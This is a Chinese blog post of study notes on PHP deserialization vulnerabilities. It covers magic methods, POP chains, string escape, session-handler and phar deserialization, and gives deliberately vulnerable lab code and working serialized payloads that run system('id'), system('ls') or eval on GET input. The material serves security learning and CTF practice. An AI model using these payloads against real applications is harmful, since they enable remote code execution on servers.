PHP反序列化（231119）

最新推荐文章于 2024-05-18 23:14:17 发布
最新推荐文章于 2024-05-18 23:14:17 发布
阅读量202 收藏
点赞数
文章标签： php 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mo2901600657/article/details/134488977
版权

2023/11/19学习内容：php反序列化

知识来源：橙子科技工作室

PHP反序列化漏洞学习_哔哩哔哩_bilibili

一.类与对象     只有在调用内部方法时才会执行内部方法的代码如下

$cyj->jineng(var1:'跳跳跳');

如果不调用内部方法，print_r($cyj)只会输出内部属性

二.序列化的基础知识

1.序列化的作用是将对象的状态信息转化为字符串

2.表达方式：

三.反序列化知识

反序列化后，再调用内部方法，使用的变量用的是反序列化的值而不是原本的内部属性。

如下面用的dazhuang而不是benben

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

四.魔术方法

什么是魔术方法：一个预定义好的，再特定情况下自动触发得到行为的方法。1.

1._construct()    构造函数

触发条件：实例化对象时

<?php
highlight_file(__FILE__);
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);

?>

触发了构造函数1次

2._destruct()  析构函数

对象销毁时触发，实例化后和反序列化后会被触发

<?php
highlight_file(__FILE__);
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);

?>
触发了析构函数1次
触发了析构函数1次

靶场练习：

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);

?>

playload：O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = 'O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}';
unserialize($ser);

?>

三._sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法_sleep()。

如果存在，该方法会先被调用，然后才执行序列化。

<?php
highlight_file(__FILE__);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        system($this->username);
    }
}
$cmd = '"id"';
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>

 四._wakeup()

_wakeup在反序列化以前触发

_destruct在反序列化后触发

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }

靶场

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = 'O:4:"User":1:{s:8:"username";s:2:"id";};';
unserialize($user_ser);
?>

 五._tostring()

表达方式错误导致触发

把对象当成字符串调用

echo $test;

print $test;

时把对象当成了字符串输出

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __toString()
         {
             return '格式不对，输出不了!';
          }
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>
User Object ( [benben] => this is test!! )
格式不对，输出不了!

六._invoke()

把对象当成函数时触发

 七._call()

调用了一个不存在的方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');
?>

callxxx,a

八._callStatic()

静态调用或调用成员常量时使用的方法不存在

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test::callxxx('a');
?>

callxxx,a

九._get()

调用的成员属性不存在时

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;
?>

var2

十._set()

给不存在的成员属性赋值

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test ->var2=1;
?>

var2,1

十一._isset()

对不可访问属性使用isset()或empty()时,_isset()会被调用

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __isset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
isset($test->var);
?>

var

十二._unset()

对不可访问属性使用unset()时

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __unset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
unset($test->var);
?>

var

十三._clone()

当使用clone关键字拷贝完成一个对象后，新对象会自动调用定义的魔术方法_clone()

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __clone( )
    {
        echo  "__clone test";
          }
}
$test = new User() ;
$newclass = clone($test)
?>
__clone test

五.pop链

一。前置知识

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>
<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }

}
 
class evil {    var $test2="system('ls');";
    }
$a=new index();
echo urlencode(serialize($a));
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
$a='O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D';
$a=urldecode($a);
unserialize($a);
?>

 二.pop链构造与poc编写

<?php
//flag is in flag.php

class Modifier {
    private $var=flag.php;
}
class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$mod=new Modifier();
$test=new Test();
$test->p=$mod;
$show=new Show();
$show ->source=$show;
$show->str=$test;
echo serialize($show);
?>

六.字符串逃逸

一.减少

 

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

让vip=true

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

 

<?php
class test{
	var $user='flagflagflagflagflagflagflagflagflagphp';
    var $pass ='";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
    var $vip = false;

}
$a=serialize(new test());
echo $a;
$a=str_replace("flag","hk",$a);
$a=str_replace("php","hk",$a);
var_dump(unserialize($a));
?>

O:4:"test":3:{s:4:"user";s:39:"flagflagflagflagflagflagflagflagflagphp";s:4:"pass";s:41:"";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}object(test)#1 (3) {
  ["user"]=>
  string(39) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:41:""
  ["pass"]=>
  string(6) "benben"
  ["vip"]=>
  bool(true)
}

 二。增加

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

目前代码：当pass=escaing的序列化字符串

<?php
class test{
    var $user='benben';
    var $pass='escaping';
}

echo serialize(new test());
?>
O:4:"test":2:{s:4:"user";s:6:"benben";s:4:"pass";s:8:"escaping";}

 构造逃逸

七._weakup魔术方法绕过

 

八。引用的利用

 九.session反序列化漏洞

 

 

save.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
vul.php
<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

 

 例题

<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

<?php
class Flag{
    public $name;
	public $her;

    }
$a=new Flag();
$a -> name=&$a->her;
echo serialize($a);
?>
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

 playload：a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

十。phar反序列化

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
if(isset($_GET['filename']))
{
    $filename=$_GET['filename'];
    var_dump(file_exists($filename));
}
?>
<?php
highlight_file(__FILE__);
class Testobj
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象，文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

 

 

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//upload.php
?>

奫M
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
php反序列化
qq_54030686的博客
12-06 388
php反序列化 php反序列化简单的说就是魔术方法的不调用直接使用 为什么要反序列化：压缩空间，便于文件的存储 条件：存在类（class）,存在魔术方法 简单理解反序列化 <?php $id=$_GET['id']; $a=serialize($id); echo $a; $b=unserialize($a); echo $b; ?> a即为序列化后的数据，b为反序列化后的数据 魔术方法，不需要引用，在符合条件下，自动执行 __construct()//创建对象时触发 new类 __destru
PHP的反序列化
D-R0s1的博客
10-08 1461
什么是反序列化？   在我们讲PHP反序列化的时候，基本都是围绕着serialize()，unserialize()这两个函数。那么什么是序列化呢，序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子，不知道大家知不知道json格式，这就是一种序列化，有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。 反序列化中的解释： 拿一个神盾局的秘密来实验一下ph...
中国海洋大学新生赛
最新发布
pwfortune的博客
05-18 712
使用 parse_str 函数解析查询字符串，将其转换为 PHP 变量。name=John&age=30，那么 parse_str 会创建两个变量 $name 和 $age，并分别赋值为 John 和 30。在php中 . 和空格 在传参时会被转化成下划线，正好前面把 . 和 _ 给过滤了 ，用空格替代。因为前面存在的parse_str() 函数，能够变量覆盖, 然后再进行MD5弱比较。可在eval（）中多重转码混淆，依旧可以执行js代码，有返回值。还需要绕过preg_match()，而在非多行模式下，
PHP反序列化
Flynn的博客
03-31 912
序列化 以PHP语言为例子，在写程序尤其是写网站的时候，经常会构造类，并且有时候会将实例化的类作为变量进行传输。序列化就是在此为了减少传输内容的大小孕育而生的一种压缩方法。我们知道一个PHP类都含有几个特定的元素: 类属性、类常量、类方法。每一个类至少都含有以上三个元素，而这三个元素也可以组成最基本的类。那么按照特定的格式将这三个元素表达出来就可以将一个完整的类表示出来并传递。序列化就是将一个类压缩成一个字符串的方法 <?php class TEST{ public $a="public"; pr
详解PHP序列化和反序列化原理
10-18
本篇文章给大家分享了下PHP反序列化漏洞系列之PHP序列化和反序列化原理的相关知识，有这方面需要的朋友参考学习下吧。
PHP常见的序列化与反序列化操作实例分析
10-16
在PHP编程中，序列化和反序列化是两种非常重要的数据处理技术，它们主要用于将复杂的变量结构转换为可存储或传输的格式，然后再恢复为原始形式。本文将深入探讨这两个概念，结合实例来分析PHP中如何使用`serialize()...
详解php反序列化
10-15
主要介绍了php反序列化的相关知识，文中讲解非常细致，代码帮助各位更好的理解和学习，感兴趣的朋友可以了解下
php json与xml序列化/反序列化
10-26
在Web开发中，数据交换和存储常常涉及到对象的序列化和反序列化。PHP提供了多种方式来处理这一过程，其中最常用的两种格式是JSON（JavaScript Object Notation）和XML（eXtensible Markup Language）。这两种格式都...
反序列化——php反序列化
qq_48829044的博客
06-20 354
php反序列化
PHP序列化和反序列化
qq_31088019的博客
08-25 4120
PHP序列化和反序列化及案例
PHP中序列化与反序列化
迷风小白
06-28 1万+
PHP序列化：serialize 序列化是将变量或对象转换成字符串的过程。 举例： <?php class man{ public $name; public $age; public $height; function __construct($name,$age,$height){ //_construct：创建对象时初始化 $this->name =...
PHP序列化与反序列化
qq_53142368的博客
05-16 356
文章目录一、php反序列化漏洞1.概述2.php序列化与反序列化二、1.2.读入数据总结 一、php反序列化漏洞 1.概述 php反序列化漏洞，又叫php对象注入漏洞。 什么是php反序列化漏洞呢？简单的来说，就是在php反序列化的时候，反序列化的内容是用户可控，那么恶意用户就可以构造特定序列化内容的代码，通过unserialize()函数进行特定的反序列化操作，并且程序的某处存在一些敏感操作是写在类中的，那么就可以通过这段恶意代码，达到执行攻击者想要的操作。 漏洞形成原因 漏洞的形成的根本原因是程序没.
php反序列化漏洞
热门推荐
vergilben的学习日记
03-23 1万+
php反序列化漏洞 关于php面向对象编程： 对象：可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类：一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class开头，后面跟着类的名字。一个类可以包含有属于自己的变量，变量（称为“属性”）以及函数（“称为方法”）。类定义了一件事物的抽象特点。通常来说，类定义了事物的属性和它可以做到的。类可能会包含一些特殊的函数叫magi...
PHP序列化和反序列化函数
编程不过是一门失传艺术的别名，这门艺术的名字叫做“思考”
11-30 2268
serialize() 把变量和它们的值编码成文本形式，即产生一个可存储的值的表示 unserialize() 恢复原先变量。
手把手教你PHP反序列化漏洞
qq_62099202的博客
08-08 1403
什么是序列化 序列化是将变量转换为可保存或传输的字符串的过程 反序列化就是在适当的时候把这个字符串再转化成原来的变量使用 这两个过程结合起来，可以轻松地存储和传输数据，使程序更具维护性 简单来说就是将一大段对象压缩成字符串 例如，可以序列化一个对象，然后使用 HTTP 通过 Internet 在客户端和服务器之间传输该对象，或者和其它应用程序共享使用。反之，反序列化根据流重新构造对象
PHP 原生类学习与利用
snowlyzz的博客
09-22 1364
php 原生类利用与学习。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值